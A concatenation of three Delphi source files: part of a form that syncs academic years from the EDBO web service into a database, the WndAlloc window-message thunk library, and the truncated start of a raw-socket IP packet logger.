User_Name_Global: string;
constructor Create(AOwner: TComponent; aParam: TAArray); reintroduce;
end;
procedure ShowAllPrkBpl(aOwner: TComponent; aParam: TAArray); stdcall;
exports ShowAllPrkBpl;
var
csFormAcademicYears: TcsFormAcademicYears;
DM: TDM;
implementation
{$R *.dfm}
procedure ShowAllPrkBpl(aOwner: TComponent; aParam: TAArray);
var
T: TcsFormAcademicYears;
begin
T := TcsFormAcademicYears.Create(aOwner, aParam);
T.FormStyle := aParam['Input']['aFrmStyle'].AsVariant;
case T.FormStyle of
fsNormal: begin
T.ShowModal;
end;
fsMDIChild: begin
end;
else
T.Free;
end;
end;
function TcsFormAcademicYears.MyCsConnectToEdbo: Boolean;
var
path_str: string;
begin
try
Result := True;
with TFMASAppModuleCreator.Create do
begin
path_str := ExtractFilePath(Application.ExeName) + 'Contingent_Student\';
//Экземпляр для работы с веб-сервисом EDBOGuides
EDBOGuidesIntf := CreateFMASModule(path_str, 'EDBOIntf');
if (EDBOGuidesIntf = nil)
then begin
csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgErrorWithEDBO[IndLangVWF], mtInformation, [mbOk], 0);
Result := False;
end;
//Экземпляр для работы с веб-сервисом EDBOPerson
EDBOPersonIntf := CreateFMASModule(path_str, 'EDBOIntf');
if (EDBOPersonIntf = nil)
then begin
csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgErrorWithEDBO[IndLangVWF], mtInformation, [mbOk], 0);
Result := False;
end;
end;
except on E: Exception do
begin
ShowMessage(E.Message);
Result := False;
end;
end;
end;
constructor TcsFormAcademicYears.Create(AOwner: TComponent; aParam: TAArray);
var
DBHandle: TISC_DB_HANDLE;
begin
if Assigned(PVoid(aParam['Input']['aDBHANDLE'])) then
begin
DBHandle := PVoid(aParam['Input']['aDBHANDLE'].asInteger);
ID_User_Global := aParam['Input']['ID_USER_GLOBAL'].AsInt64;
ResultArray := aParam;
IndLangVWF := 0;
if Assigned(aParam['Input']['ID_MODE']) then
IdMode := aParam['Input']['ID_MODE'].AsInteger
else IdMode := 0;
inherited Create(aOwner);
InitCaptions;
WindowState := wsMaximized;
DM := TDM.Create(self, DBHandle);
//инициализация режима должна происходить после создания DM формы,
//т.к. при инициализации режима мы меняем селект датасета на ДМ форме
InitMode(IdMode);
end
else ShowMessage('Ошибка HANDLE`a Базы');
end;
procedure TcsFormAcademicYears.InitCaptions;
begin
csFormAcademicYears.Caption := nFormAcademicYears[IndLangVWF];
btnSync.Caption := nAction_GetDataFromEDBO[IndLangVWF];
btnSelect.Caption := nAction_Vibrat[IndLangVWF];
btnExit.Caption := nAction_Exit[IndLangVWF];
col_IdAcademyYear.Caption := nColKod[IndLangVWF] + nCol_AcademicYears[IndLangVWF];
col_NameAcademyYear.Caption := nColName[IndLangVWF] + nCol_AcademicYears[IndLangVWF];
col_IsActive.Caption := nCol_IsActive[IndLangVWF];
end;
procedure TcsFormAcademicYears.InitMode(IdMode: Integer); //настройка формы в соответствии с режимом
begin
case IdMode of
1: begin
btnSelect.Visible := ivAlways;
end
else begin
btnSelect.Visible := ivNever;
end;
end;
end;
procedure TcsFormAcademicYears.btnSyncClick(Sender: TObject);
begin
if (csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgImportAcademyYears[IndLangVWF], mtInformation, [mbOK, mbCancel], 0) = mrOk)
then begin
if MyCsConnectToEdbo then
begin
// ApplyFilter
if DM.RxMemDataYearsEDBO.Active then
begin
DM.RxMemDataYearsEDBO.Close;
DM.RxMemDataYearsEDBO.EmptyTable;
DM.RxMemDataYearsEDBO.Open;
end
else
DM.RxMemDataYearsEDBO.EmptyTable;
if (EDBOGuidesIntf as IEDBOTools).InitEDBOConnection('EDBOGuides', DM.DB.Handle) then
begin
GetAcademicYearsFromEDBO;
DM.DSetYears.Close;
DM.DSetYears.Open;
end
else csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgErrorConnectEDBO[IndLangVWF], mtWarning, [mbOk], 0);
end
else
begin
csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgErrorConnectEDBO[IndLangVWF], mtError, [mbOK], 0);
exit;
end;
end;
end;
procedure TcsFormAcademicYears.GetAcademicYearsFromEDBO;
var
ActualDate: TDateTime;
Id_AcademicYear: Integer;
Filter: AnsiString;
MemoryData_EDBO: TRxMemoryData;
i: Integer;
PubSysDataDSet: TpFIBDataset;
begin
PubSysDataDSet := TpFIBDataset.Create(Self);
PubSysDataDSet.Database := DM.DB;
PubSysDataDSet.Transaction := DM.TransRead;
if PubSysDataDSet.Active then PubSysDataDSet.Close;
PubSysDataDSet.SQLs.SelectSQL.Text := 'Select Can_Connect_To_Edbo From Pub_Sys_Data';
PubSysDataDSet.Open;
if PubSysDataDSet['Can_Connect_To_Edbo'] = null then CanConnectToEdbo := False
else CanConnectToEdbo := Boolean(PubSysDataDSet['Can_Connect_To_Edbo']);
if CanConnectToEdbo then
begin
MemoryData_Edbo := TRxMemoryData.Create(Self);
(EDBOPersonIntf as IEDBOTools).GetXMLDataFromService('AcademicYearsGet', DM.RxMemDataYearsEDBO);
{try
MemoryData_EDBO.Open;
MemoryData_EDBO.First;
except on E: Exception do Showmessage(E.Message);
end;}
{ DM.RxMemDataYearsEDBO.Close;
DM.RxMemDataYearsEDBO.EmptyTable;
//DM.RxMemDataYearsEDBO.CopyStructure(MemoryData_EDBO);
try
DM.RxMemDataYearsEDBO.LoadFromDataSet(MemoryData_EDBO, 0, lmAppend);
except on E: Exception do Showmessage(E.Message);
end;}
DM.RxMemDataYearsEDBO.Open;
{ for i := 0 to MemoryData_EDBO.RecordCount - 1 do
begin
try
DM.RxMemDataYearsEDBO.Insert;
DM.RxMemDataYearsEDBO.FieldByName('fId_PersonEducationHistoryType ').AsInteger := MemoryData_EDBO['FId_PersonEducationHistoryType'];
DM.RxMemDataYearsEDBO.FieldByName('fPersonEducationHistoryTypeName').AsString := MemoryData_EDBO['FPersonEducationHistoryTypeName'];
DM.RxMemDataYearsEDBO.Post;
except on E: Exception do
begin
csMessageDlg('Увага', E.Message, mtInformation, [mbOk], 0);
exit;
end;
end;
MemoryData_EDBO.Next;
end;
}
DM.StorProc.Transaction.StartTransaction;
DM.StorProc.StoredProcName := 'CS_GET_ACADEMIC_YEARS_FROM_EDBO';
DM.StorProc.Prepare;
DM.RxMemDataYearsEDBO.First;
for i := 0 to DM.RxMemDataYearsEDBO.RecordCount - 1 do
begin
try
DM.StorProc.ParamByName('ID_ACADEMIC_YEAR').AsInteger := DM.RxMemDataYearsEDBO.FieldByName('fId_AcademicYear').AsInteger;
DM.StorProc.ParamByName('NAME_ACADEMIC_YEAR').AsString := DM.RxMemDataYearsEDBO.FieldByName('fAcademicYearName').AsString;
DM.StorProc.ParamByName('IS_ACTIVE').AsInteger := DM.RxMemDataYearsEDBO.FieldByName('fAcademicYearIsActive').AsInteger;
DM.StorProc.ExecProc;
DM.RxMemDataYearsEDBO.Next;
except on E: Exception do
begin
csMessageDlg(nMsgBoxTitle[IndLangVWF], E.Message, mtInformation, [mbOk], 0);
DM.StorProc.Transaction.Rollback;
exit;
end;
end;
end;
try
if DM.StorProc.Transaction.Active then
DM.StorProc.Transaction.Commit;
except on E: Exception do
begin
csMessageDlg(nMsgBoxTitle[IndLangVWF], nMsgErrorWithEDBO[IndLangVWF] + CHR(13) + E.Message, mtInformation, [mbOk], 0);
DM.StorProc.Transaction.Rollback;
exit;
end;
end;
MemoryData_EDBO.Close;
MemoryData_EDBO.Free;
PubSysDataDSet.Free;
DM.DSetYears.Close;
DM.DSetYears.Open;
end;
end;
end.
|
{-------------------------------------------------------------------------------
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
-------------------------------------------------------------------------------}
{===============================================================================
WndAlloc
©František Milt 2018-10-22
Version 1.1.1
Dependencies:
AuxTypes - github.com/ncs-sniper/Lib.AuxTypes
===============================================================================}
{-------------------------------------------------------------------------------
Implementation notes
When the system calls window handler, it expects it to be normal function.
But we want it to be method of an object. Methods have hidden (or implicit)
first parameter (Self). This pose a problem - handling method and handling
function have different signature and of course, system cannot know the Self
parameter. It is not possible to assign method to a window handler function.
Two possible solutions are implemented in this library. One requiring the use
of ASM, the other purely in pascal working with WinAPI.
ASM solution
When a window allocation is requested, the manager creates the window (using
WinAPI) and along with it a new mediator (small piece of code, only few
instructions long) bound to that particular window (every window has it own
unique mediator). Information about method that should handle messages of
the created window are stored in the mediator and also the mediator is
assigned as a window handler function.
When the window requires handler function to process a message, it calls
the mediator as it is assigned as the handler function, mediator changes
parameter list passed from the system (it adds information about handling
method) and then passes these altered parameters to a universal function.
This universal function (common for all windows) in turn calls proper method
by using information it got from the mediator.
The call chain for a particular window looks like this:
- window needs handler to process a message, handler (unique mediator) is
called
- mediator adds information about handler method to the parameters list
and passes execution to the universal function
- universal function processes information it got from mediator and calls
proper method according to them
- handler method does its job
This solution is sligtly faster than the pascal one, but it is sort of a
hack.
PurePascal solution
When new window gets created, information about the handler method are
stored in memory (on heap) and pointer to these information are in turn
stored directly in the window using WinAPI. An universal function (common
for all windows) is assigned as a handler function.
When window calls this function, it again uses WinAPI to get back pointer
(which is stored in the window) to handler method information and then
calls proper method accordingly.
This solution is cleaner, but since the universal function has to obtain
pointer to calling info from the window every time it is executed, it is
slower.
-------------------------------------------------------------------------------}
unit WndAlloc;
{$IF defined(CPUX86_64) or defined(CPUX64)}
{$DEFINE x64}
{$ELSEIF defined(CPU386)}
{$DEFINE x86}
{$ELSE}
{$DEFINE PurePascal}
{$IFEND}
{$IF not(defined(WINDOWS) or defined(MSWINDOWS))}
{$MESSAGE FATAL 'Unsupported operating system.'}
{$IFEND}
{$IFDEF FPC}
{$MODE ObjFPC}{$H+}
{$INLINE ON}
{$DEFINE CanInline}
{$IFNDEF PurePascal}
{$ASMMODE Intel}
{$ENDIF}
{$DEFINE FPC_DisableWarns}
{$MACRO ON}
{$ELSE}
{$IF CompilerVersion >= 17 then} // Delphi 2005+
{$DEFINE CanInline}
{$ELSE}
{$UNDEF CanInline}
{$IFEND}
{$ENDIF}
{
ImplicitManager
When defined, an internally managed utility window manager is created at
the unit initialization and freed at finalization. This allows the use of
functions AllocateHWND and DeallocateHWND.
It is here mainly for cases where implicit manager is not desired, so it can
be disabled.
Defined by default.
}
{$DEFINE ImplicitManager}
interface
uses
Windows, Classes, SyncObjs;
{==============================================================================}
{------------------------------------------------------------------------------}
{ TUtilityWindowManager }
{------------------------------------------------------------------------------}
{==============================================================================}
const
def_MaxWindows = 512;
def_WindowClass = 'TUtilityWindow';
{==============================================================================}
{ TUtilityWindowManager - class declaration }
{==============================================================================}
type
TUtilityWindowManager = class(TObject)
private
fWindowClassName: String;
fMaxWindows: Integer;
fSynchronizer: TCriticalSection;
fHelpers: Pointer;
fWindowCount: Integer;
protected
procedure RegisterWindowClass; virtual;
procedure UnregisterWindowClass; virtual;
Function NewHelper(Method: TMethod): Pointer; virtual;
procedure RemoveHelper(Helper: Pointer); virtual;
public
constructor Create(WindowClassName: String = def_WindowClass; MaxWindows: Integer = def_MaxWindows);
destructor Destroy; override;
Function AllocateHWND(Method: TWndMethod): HWND; virtual;
procedure DeallocateHWND(Wnd: HWND); virtual;
property WindowClassName: String read fWindowClassName;
property MaxWindows: Integer read fMaxWindows;
property WindowCount: Integer read fWindowCount;
end;
{==============================================================================}
{ Functions of implicit manager }
{==============================================================================}
{$IFDEF ImplicitManager}
Function AllocateHWND(Method: TWndMethod): HWND;{$IF Defined(CanInline) and Defined(FPC)} inline; {$IFEND}
procedure DeallocateHWND(Wnd: HWND);{$IF Defined(CanInline) and Defined(FPC)} inline; {$IFEND}
{$ENDIF}
implementation
uses
Messages, SysUtils, AuxTypes;
{$IFDEF FPC_DisableWarns}
{$DEFINE FPCDWM}
{$DEFINE W4055:={$WARN 4055 OFF}} // Conversion between ordinals and pointers is not portable
{$DEFINE W5057:={$WARN 5057 OFF}} // Local variable "$1" does not seem to be initialized
{$ENDIF}
{==============================================================================}
{ Auxiliary functions, types, constants, ... }
{==============================================================================}
const
GWLP_WNDPROC = -4;
{$IFDEF PurePascal}
GWLP_USERDATA = -21;
{$ENDIF}
{$IF not Declared(LONG_PTR)}
type
LONG_PTR = Pointer;
{$IFEND}
//------------------------------------------------------------------------------
{$IF not(Declared(GetWindowLongPtr) and Declared(SetWindowLongPtr))}
{
Following code is supposed to work only in 32 bits, 64bit OS provides these
functions in WinAPI.
}
{$IF SizeOf(Pointer) <> 4}
{$MESSAGE FATAL 'Unsupported platform.'}
{$IFEND}
Function GetWindowLongPtr(hWnd: HWND; nIndex: Int32): Pointer;
begin
Result := Pointer(GetWindowLong(hWnd,nIndex));
end;
//------------------------------------------------------------------------------
Function SetWindowLongPtr(hWnd: HWND; nIndex: Int32; dwNewLong: Pointer): Pointer;
begin
Result := Pointer(SetWindowLong(hWnd,nIndex,Int32(dwNewLong)));
end;
{$IFEND}
{==============================================================================}
{------------------------------------------------------------------------------}
{ TUtilityWindowManager }
{------------------------------------------------------------------------------}
{==============================================================================}
{==============================================================================}
{ TUtilityWindowManager - auxiliary functions, types, ... }
{==============================================================================}
{$IFDEF PurePascal}
{------------------------------------------------------------------------------}
{ TUtilityWindowManager - pascal solution }
{------------------------------------------------------------------------------}
type
TMethodItem = packed record
Method: TMethod;
Assigned: PtrUInt;
end;
PMethodItem = ^TMethodItem;
//------------------------------------------------------------------------------
Function WndHandler(Window: HWND; Message: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
Msg: TMessage;
MethodInfo: Pointer;
begin
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
MethodInfo := Addr(PMethodItem(GetWindowLongPtr(Window,GWLP_USERDATA))^.Method);
{$IFDEF FPCDWM}{$POP}{$ENDIF}
If Assigned(TWndMethod(TMethod(MethodInfo^))) then
begin
Msg.msg := Message;
Msg.wParam := wParam;
Msg.lParam := lParam;
TWndMethod(TMethod(MethodInfo^))(Msg);
Result := Msg.Result
end
else Result := DefWindowProc(Window,Message,wParam,lParam);
end;
{$ELSE PurePascal}
{------------------------------------------------------------------------------}
{ TUtilityWindowManager - ASM solution }
{------------------------------------------------------------------------------}
{$IFDEF x64}
{
In win64, the parameters for handler are passed in registers RCX, RDX, R8
and R9 respectively, the stack is more-or-less empty (contains only return
address).
Our new, fifth parameter (pointer to the handler method) will not fit into
registers, so we have to pass it on the stack. But stack cleanup is on the
caller, which, in this case, is system. We have no control over cleanup, and
the caller don't know we are adding parameter to the stack
The solution - instead of transfering execution directly to handler function,
we introduce simple procedure "stub" that will handle creation of new stack
frame and cleanup (gets the stack to a state is was upon entry to the
mediator). The process is as follows:
- system calls the mediator
- new parameter is moved to a temporary location (register R10)
- execution jumps to the "stub" (via JMP instruction, not CALL)
- stack is aligned
- shadow space is created (4 old parameters are pushed in there)
- our new, fifth parameter is pushed onto the stack from R10
- handler function is called (CALL instruction)
- handler returns execution to the "stub"
- stack is cleared (fifth parameter, shadow space, alignment)
- execution is returned to the system
}
type
TMediator = packed record
MOV_MethodInfo: array[0..1] of Byte;
MethodInfo: Pointer;
MOV_HandlerAddr: array[0..1] of Byte;
HandlerAddr: Pointer;
JMP_Reg: array[0..2] of Byte;
_padding: Byte;
MethodCode: Pointer;
MethodData: Pointer;
end;
const
def_Mediator: TMediator = (
MOV_MethodInfo: ($49,$BA); // MOV R10, qword
MethodInfo: nil;
MOV_HandlerAddr: ($48,$B8); // MOV RAX, qword
HandlerAddr: nil;
JMP_Reg: ($48,$FF,$E0); // JMP RAX
_padding: $00;
MethodCode: nil;
MethodData: nil);
{$ELSE}
//------------------------------------------------------------------------------
{
An stdcall convention is used, therefore parameters for handler function are
passed on the stack right-to-left (last parameter is pushed first).
In addition, return address is pushed on the stack, so the stack after the
call looks like this:
ESP + 16 lParam (LPARAM)
ESP + 12 wParam (WPARAM)
ESP + 8 Message (UINT)
ESP + 4 Window (HWND)
ESP RET_ADDR
We need to add one parameter - pointer to the handling method. Simplest thing
is to push it as a last parameter (since the arguments are in reversed order,
it will be actually first in the parameters list).
First, return address is poped into EAX register, then the new parameter is
pushed, and the return address is pushed again from EAX. Stack now looks like
this:
ESP + 20 lParam (LPARAM)
ESP + 16 wParam (WPARAM)
ESP + 12 Message (UINT)
ESP + 8 Window (HWND)
ESP + 4 MethodInfo (Pointer)
ESP RET_ADDR
After that, the actual handler is called. Or, more precisely, execution is
transfered to it using JMP instruction.
Stack cleanup is up to the called function. It expects 5 parameters, so it
automatically cleans everything including what we have added. There is no need
to do manual cleanup.
}
type
TMediator = packed record
POP_ReturnAddr: Byte;
PUSH_MethodInfo: Byte;
MethodInfo: Pointer;
PUSH_ReturnAddr: Byte;
MOV_HandlerAddr: Byte;
HandlerAddr: Pointer;
JMP_Reg: array[0..1] of Byte;
_padding: array[0..1] of Byte;
MethodCode: Pointer;
MethodData: Pointer;
end;
const
def_Mediator: TMediator = (
POP_ReturnAddr: $58; // POP EAX
PUSH_MethodInfo: $68; // PUSH dword
MethodInfo: nil;
PUSH_ReturnAddr: $50; // PUSH EAX
MOV_HandlerAddr: $B8; // MOV EAX, dword
HandlerAddr: nil;
JMP_Reg: ($FF,$E0); // JMP EAX
_padding: ($00,$00);
MethodCode: nil;
MethodData: nil);
{$ENDIF}
type
PMediator = ^TMediator;
//------------------------------------------------------------------------------
{$IFDEF x64}
Function WndHandler(Window: HWND; Message: UINT; wParam: WPARAM; lParam: LPARAM; MethodInfo: Pointer): LRESULT;
{$ELSE}
Function WndHandler(MethodInfo: Pointer; Window: HWND; Message: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
{$ENDIF}
var
Msg: TMessage;
begin
If Assigned(TWndMethod(TMethod(MethodInfo^))) then
begin
Msg.msg := Message;
Msg.wParam := wParam;
Msg.lParam := lParam;
TWndMethod(TMethod(MethodInfo^))(Msg);
Result := Msg.Result
end
else Result := DefWindowProc(Window,Message,wParam,lParam);
end;
//------------------------------------------------------------------------------
{$IFDEF x64}
procedure HandlerCaller; assembler;{$IFDEF FPC} nostackframe; {$ENDIF}
asm
{$IFNDEF FPC}.NOFRAME{$ENDIF}
SUB RSP, 8
PUSH R10
PUSH R9
PUSH R8
PUSH RDX
PUSH RCX
CALL WndHandler
ADD RSP, 48
end;
{$ENDIF}
{$ENDIF PurePascal}
{==============================================================================}
{ TUtilityWindowManager - class implementation }
{==============================================================================}
{------------------------------------------------------------------------------}
{ TUtilityWindowManager - protected methods }
{------------------------------------------------------------------------------}
{$IFDEF FPCDWM}{$PUSH}W5057{$ENDIF}
procedure TUtilityWindowManager.RegisterWindowClass;
var
Registered: Boolean;
TempClass: TWndClass;
WindowClass: TWndClass;
begin
ZeroMemory(@WindowClass,SizeOf(TWndClass));
Registered := Windows.GetClassInfo(hInstance,PChar(fWindowClassName),TempClass);
If not Registered or (TempClass.lpfnWndProc <> @DefWindowProc) then
begin
If Registered then
Windows.UnregisterClass(PChar(fWindowClassName),hInstance);
WindowClass.lpszClassName := PChar(fWindowClassName);
WindowClass.hInstance := hInstance;
WindowClass.lpfnWndProc := @DefWindowProc;
If Windows.RegisterClass(WindowClass) = 0 then
raise Exception.CreateFmt('TUtilityWindowManager.RegisterWindowClass: ' +
'Unable to register utility window class. (%s)',[SysErrorMessage(GetLastError)]);
end;
end;
{$IFDEF FPCDWM}{$POP}{$ENDIF}
//------------------------------------------------------------------------------
procedure TUtilityWindowManager.UnregisterWindowClass;
begin
Windows.UnregisterClass(PChar(fWindowClassName),hInstance);
end;
//------------------------------------------------------------------------------
Function TUtilityWindowManager.NewHelper(Method: TMethod): Pointer;
var
i: Integer;
{$IFDEF PurePascal}
Temp: PMethodItem;
begin
For i := 0 to Pred(fMaxWindows) do
begin
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
Temp := PMethodItem(PtrUInt(fHelpers) + PtrUInt(i * SizeOf(TMethodItem)));
{$IFDEF FPCDWM}{$POP}{$ENDIF}
If Temp^.Assigned = 0 then
begin
Temp^.Method := Method;
Temp^.Assigned := PtrUInt(-1);
Result := Pointer(Temp);
Exit;
end;
end;
{$ELSE}
Temp: PMediator;
begin
For i := 0 to Pred(fMaxWindows) do
begin
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
Temp := PMediator(PtrUInt(fHelpers) + PtrUInt(i * SizeOf(TMediator)));
{$IFDEF FPCDWM}{$POP}{$ENDIF}
If not Assigned(Temp^.MethodInfo) then
begin
Temp^ := def_Mediator;
Temp^.MethodInfo := Addr(Temp^.MethodCode);
{$IFDEF x64}
Temp^.HandlerAddr := @HandlerCaller;
{$ELSE}
Temp^.HandlerAddr := @WndHandler;
{$ENDIF}
Temp^.MethodCode := Method.Code;
Temp^.MethodData := Method.Data;
Result := Pointer(Temp);
Exit;
end;
end;
{$ENDIF}
raise Exception.Create('TUtilityWindowManager.NewHelper: Out of resources.');
end;
//------------------------------------------------------------------------------
procedure TUtilityWindowManager.RemoveHelper(Helper: Pointer);
begin
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
{$IFDEF PurePascal}
If (PtrUInt(Helper) >= PtrUInt(fHelpers)) and
(PtrUInt(Helper) <= (PtrUInt(fHelpers) +
PtrUInt(Pred(fMaxWindows) * SizeOf(TMethodItem)))) then
PMethodItem(Helper)^.Assigned := 0;
{$ELSE}
If (PtrUInt(Helper) >= PtrUInt(fHelpers)) and
(PtrUInt(Helper) <= (PtrUInt(fHelpers) +
PtrUInt(Pred(fMaxWindows) * SizeOf(TMediator)))) then
PMediator(Helper)^.MethodInfo := nil;
{$ENDIF}
{$IFDEF FPCDWM}{$POP}{$ENDIF}
end;
{------------------------------------------------------------------------------}
{ TUtilityWindowManager - public methods }
{------------------------------------------------------------------------------}
constructor TUtilityWindowManager.Create(WindowClassName: String = def_WindowClass; MaxWindows: Integer = def_MaxWindows);
begin
inherited Create;
fWindowClassName := WindowClassName;
fMaxWindows := MaxWindows;
fSynchronizer := TCriticalSection.Create;
{$IFDEF PurePascal}
fHelpers := AllocMem(fMaxWindows * SizeOf(TMethodItem));
{$ELSE}
fHelpers := VirtualAlloc(nil,fMaxWindows * SizeOf(TMediator),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
{$ENDIF}
fWindowCount := 0;
RegisterWindowClass;
end;
//------------------------------------------------------------------------------
destructor TUtilityWindowManager.Destroy;
begin
UnregisterWindowClass;
{$IFDEF PurePascal}
FreeMem(fHelpers,fMaxWindows * SizeOf(TMethodItem));
{$ELSE}
VirtualFree(fHelpers,fMaxWindows * SizeOf(TMediator),MEM_RELEASE);
{$ENDIF}
fSynchronizer.Free;
inherited;
end;
//------------------------------------------------------------------------------
Function TUtilityWindowManager.AllocateHWND(Method: TWndMethod): HWND;
begin
Result := 0;
fSynchronizer.Enter;
try
If fWindowCount < MaxWindows then
begin
Result := CreateWindowEx(WS_EX_TOOLWINDOW,PChar(fWindowClassName),'',
WS_POPUP,0,0,0,0,0,0,hInstance,nil);
If Result = 0 then
raise Exception.CreateFmt('TUtilityWindowManager.AllocateHWND: ' +
'Unable to create utility window. %s',[SysErrorMessage(GetLastError)]);
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
{$IFDEF PurePascal}
SetWindowLongPtr(Result,GWLP_WNDPROC,LONG_PTR(@WndHandler));
SetWindowLongPtr(Result,GWLP_USERDATA,LONG_PTR(NewHelper(TMethod(Method))));
{$ELSE}
SetWindowLongPtr(Result,GWLP_WNDPROC,LONG_PTR(NewHelper(TMethod(Method))));
{$ENDIF}
{$IFDEF FPCDWM}{$POP}{$ENDIF}
Inc(fWindowCount);
end
else raise Exception.Create('TUtilityWindowManager.AllocateHWND: Unable to create new mediator.');
finally
fSynchronizer.Leave;
end;
end;
//------------------------------------------------------------------------------
procedure TUtilityWindowManager.DeallocateHWND(Wnd: HWND);
var
Helper: Pointer;
begin
fSynchronizer.Enter;
try
{$IFDEF FPCDWM}{$PUSH}W4055{$ENDIF}
{$IFDEF PurePascal}
Helper := Pointer(GetWindowLongPtr(Wnd,GWLP_USERDATA));
{$ELSE}
Helper := Pointer(GetWindowLongPtr(Wnd,GWLP_WNDPROC));
{$ENDIF}
{$IFDEF FPCDWM}{$POP}{$ENDIF}
DestroyWindow(Wnd);
RemoveHelper(Helper);
Dec(fWindowCount);
finally
fSynchronizer.Leave;
end;
end;
{==============================================================================}
{ Implementation of implicit manager }
{==============================================================================}
{$IFDEF ImplicitManager}
var
UtilityWindowManager: TUtilityWindowManager;
//------------------------------------------------------------------------------
Function AllocateHWND(Method: TWndMethod): HWND;
begin
Result := UtilityWindowManager.AllocateHWND(Method);
end;
//------------------------------------------------------------------------------
procedure DeallocateHWND(Wnd: HWND);
begin
UtilityWindowManager.DeallocateHWND(Wnd);
end;
//------------------------------------------------------------------------------
initialization
UtilityWindowManager := TUtilityWindowManager.Create;
finalization
UtilityWindowManager.Free;
{$ENDIF}
end.
|
unit ULogger;
interface
uses
Windows, Controls, Classes, StdCtrls,
Messages, SysUtils, Forms, Dialogs, ExtCtrls,
Winsock, TcpIpHlp;
CONST WM_ASYNCSELECT = WM_USER + 1;
type
TAsyncEvent = procedure (Sender: TObject; Socket: TSocket) of object;
TMainForm = class(TForm)
MainPanel: TPanel;
InterfaceComboBox: TComboBox;
ALabel: TLabel;
LogMemo: TMemo;
FileCheckBox: TCheckBox;
MainButton: TButton;
TopLabel: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure MainButtonClick(Sender: TObject);
private
{ private declarations }
FSocket: TSocket;
FLogOpen: Boolean;
FLogFile: Textfile;
FLogName: String;
FLogInProgress: Boolean;
FAsyncRead: TAsyncEvent;
FAsyncWrite: TAsyncEvent;
FAsyncOOB: TAsyncEvent;
FAsyncAccept: TAsyncEvent;
FAsyncConnect: TAsyncEvent;
FAsyncClose: TAsyncEvent;
procedure AddInterface(value: String; iff_types: Integer);
procedure HandleData(Sender: TObject; Socket: TSocket);
procedure Log(s: String);
function StartLogging: Boolean;
function StopLogging: String;
protected
procedure WMASyncSelect(var msg: TMessage); message WM_ASYNCSELECT;
public
{ public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
var WarnedAboutW2k: Boolean = FALSE;
procedure WarnAboutW2k;
begin
if NOT WarnedAboutW2k then
begin
WarnedAboutW2k := TRUE;
if NOT Win2KDetected then
ShowMessage('Warning: This application requires Windows 2000/XP, '
+'which weren''t detected on this computer. '
+'Therefore you are likely to get socket errors because '
+'of the insufficient MS Winsock implementation.');
end
end;
procedure RaiseException(msg: String; eCode: Integer);
//
// Format the message and throw a nice exception
//
function AdditionalMessage: String;
begin
Result := SysErrorMessage(eCode);
if Result <> '' then Result := ': ' + Result
end;
begin
if eCode = 0 then
raise Exception.Create(msg)
else
raise Exception.Create('ERROR: '+msg+' [SocketError '+IntToStr(eCode)
+AdditionalMessage+']')
end;
function LogFilename: String;
VAR this_computer: Array [0..MAXCHAR] of Char;
len: DWORD;
begin
// Here we build our log filename.
// if we can get the machine name
// then we use "<machinename>.log"
// otherwise we are stuck with
// "IPLOGGER.LOG"
len := sizeof(this_computer)-1;
GetComputerName(@this_computer, len);
if len = 0 then
Result := 'IPLOGGER'
else begin
SetLength(Result, len);
Move(this_computer, Result[1], len);
end;
Result := Result+'.log';
end;
function PadStr(s: String; w: Word): String;
// A little helper function to make things pretty
begin
FmtStr(Result, '%*s', [w, s])
end;
function LogCaption: String;
// A little helper function to make things pretty
begin
Result := 'PROTO :'+PadStr('SOURCE_IP',15)+#9+' :PORT'+#9+PadStr('DESTINATION_IP',15)+#9+':PORT'+#9+': SVC/TYPE'+#9+'DATA->'
end;
function MakeReadable(s: String): String;
// A little helper function to make things pretty
CONST MAX_UNWRAPPED_LENGTH=950;
VAR i: Integer;
begin
for i := 1 to Length(s) do
begin
if Byte(s[i]) < 32 then s[i] := '.';{ not printable }
if Byte(s[i]) > 127 then s[i] := '.';{ not printable?}
end;
if Length(s) > MAX_UNWRAPPED_LENGTH then
Result := Copy(s, 1, MAX_UNWRAPPED_LENGTH)+'<!SNIPPED!>'
else
Result := s
end;
procedure TMainForm.HandleData(Sender: TObject; Socket: TSocket);
VAR
p_iphdr: PHdrIP;
p_tcphdr: PHdrTCP;
p_udphdr: PHdrUDP;
s_port, d_port, len: Integer;
src_ip, dst_ip, src_port, dst_port: String;
protocol, comments, data: String;
// Do we know how big our buffer should be?
// Routers can handle up to 64K octet datagrams,
// but we know that Ethernet has a maximum frame
// length of 1514 bytes, so this should cover our case.
IpBuffer: Array[0..$2000] of Char;
function GetDataByOffset(d_offset: Integer): String;
VAR data_start: PChar;
i: Integer;
begin
data_start := PChar(PChar(p_iphdr)+d_offset);
if ntohs(p_iphdr.tot_len) < sizeof(IpBuffer) then
i := ntohs(p_iphdr.tot_len) - d_offset
else
i := sizeof(IpBuffer) - d_offset;
SetLength(Result, i);
Move(data_start^, Result[1], i);
end;
begin
Application.ProcessMessages; { always a good idea }
if SOCKET_ERROR = recv(FSocket, IpBuffer, sizeof(IpBuffer), 0) then
begin
// We do not care to report errors in this case
// if there is no data to read, then so be it.
// The event handler will get called again.
//
Exit;
end;
p_iphdr := PHdrIP(@IpBuffer);
src_ip := inet_ntoa(TInAddr(p_iphdr.saddr));
dst_ip := inet_ntoa(TInAddr(p_iphdr.daddr));
// Check if this is something we want to ignore...
// (see the .INI file for ignore ranges)
//
//if IgnoreSource(src_ip) then Exit;
//if IgnoreDestination(dst_ip) then Exit;
//
// We need to add these two functions sometime soon,
// so that we can ignore traffic from or to specific
// IP addresses
protocol := GetIPProtoName(p_iphdr.protocol);
data := '';
len := GetIHlen(p_iphdr^);
